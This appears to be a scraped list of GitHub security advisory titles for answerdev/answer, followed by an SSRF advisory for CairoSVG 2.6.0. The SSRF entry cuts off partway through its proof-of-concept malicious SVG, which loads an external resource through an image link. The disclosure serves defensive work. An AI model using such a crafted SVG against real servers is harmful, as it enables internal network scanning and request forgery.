Source
ghsa
Observable Response Discrepancy in GitHub repository answerdev/answer prior to 1.0.6.
Business Logic Errors in GitHub repository answerdev/answer prior to 1.0.6.
Cross-site Scripting (XSS) - Stored in GitHub repository answerdev/answer prior to 1.0.7.
Observable Timing Discrepancy in GitHub repository answerdev/answer prior to 1.0.6.
Business Logic Errors in GitHub repository answerdev/answer prior to 1.0.6.
Authentication Bypass by Capture-replay in GitHub repository answerdev/answer prior to 1.0.6.
Cross-site Scripting (XSS) - Stored in GitHub repository answerdev/answer prior to 1.0.7.
Guessable CAPTCHA in GitHub repository answerdev/answer prior to 1.0.6.
Insufficient Session Expiration in GitHub repository answerdev/answer prior to 1.0.6.
# SSRF vulnerability ## Summary When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts. ## Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9 ## Tested CairoSVG version 2.6.0 ## Details A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server. ## PoC 1. Generating malicious svg file: 1.1 CairoSVG_exploit.svg: ```svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href...